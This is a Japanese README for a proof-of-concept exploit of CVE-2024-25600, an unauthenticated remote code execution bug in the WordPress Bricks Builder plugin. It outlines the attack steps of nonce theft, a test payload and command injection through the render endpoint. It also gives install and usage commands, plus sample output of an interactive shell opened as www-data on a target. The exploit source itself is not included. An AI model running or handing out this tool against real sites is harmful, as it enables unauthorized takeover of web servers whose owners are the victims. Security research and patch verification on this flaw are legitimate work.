CVE-2024-25600 — WordPress Bricks Builder RCE (PoC)

WordPress Bricks Builder <= 1.9.6 には、未認証のリモートコード実行の脆弱性があります。テンプレートレンダリングエンドポイントは認証なしで PHP コードを受け入れるため、Web サーバーユーザーとして任意のコマンドを実行できます。

動作の仕組み

1. ターゲットのページソースから Bricks nonce を取得します（エンドポイントとやり取りするために必要）。
2. ターゲットが脆弱であることを確認するためにテストペイロードを送信します。
3. レンダリングエンドポイントを介してコマンドを注入することで、対話型シェルを開きます。

要件

• Python 3
• 依存関係をインストール:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit

使い方

python3 exploit.py -u http://TARGET

例:

$ python3 exploit.py -u http://10.10.10.10
[*] Fetching nonce from http://10.10.10.10 ...
[*] Checking if the target is vulnerable...
[+] Target is vulnerable!
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

参照

• CVE-2024-25600
• Bricks Builder セキュリティアドバイザリ
• Wordfence の解説記事

クレジット

• 発見者: Snicco / Calvin Alkan
• オリジナルエクスプロイト: K3ysTr0K3R
• クリーンアップ & 簡略化: Esteban Zárate